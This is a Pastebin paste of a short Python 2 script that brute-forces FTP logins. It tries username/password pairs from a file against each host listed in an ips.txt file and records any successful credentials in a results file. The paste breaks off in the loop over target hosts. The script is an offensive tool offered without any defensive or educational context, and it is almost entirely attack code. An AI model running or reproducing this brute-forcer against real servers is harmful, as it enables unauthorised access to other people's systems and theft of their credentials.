Advertisement
Guest User

Untitled

a guest
Apr 17th, 2017
134
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.04 KB | None | 0 0
  1. #!/usr/bin/python
  2. # -*- coding: utf-8 -*-
  3.  
  4. import ftplib, time
  5.  
  6.  
  7. def bruteLogin(hostname, passwdFile):
  8. pF = open(passwdFile, 'r')
  9. for line in pF.readlines():
  10. userName = line.split(':')[0]
  11. passWord = line.split(':')[1].strip('\r').strip('\n')
  12. print "[+] Trying: " + userName + "/" + passWord
  13. try:
  14. ftp = ftplib.FTP(hostname)
  15. ftp.login(userName, passWord)
  16. print '\n[*] ' + str(hostname) + \
  17. ' FTP Logon Succeeded: ' + userName + "/" + passWord
  18. ftp.quit()
  19. text_file = open("ftpresults.txt", "w")
  20. text_file.write('\n FTP Logon Succeeded:' + hostname + userName + "/" + passWord)
  21. text_file.close()
  22. return (userName, passWord)
  23. except Exception, e:
  24. print e
  25. pass
  26. print '\n[-] Could not brute force FTP credentials.'
  27. return (None, None)
  28.  
  29.  
  30.  
  31. with open('ips.txt') as f:
  32. lines = f.readlines()
  33. passwdFile = 'pass.txt'
  34. f.close()
  35. for host in lines:
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement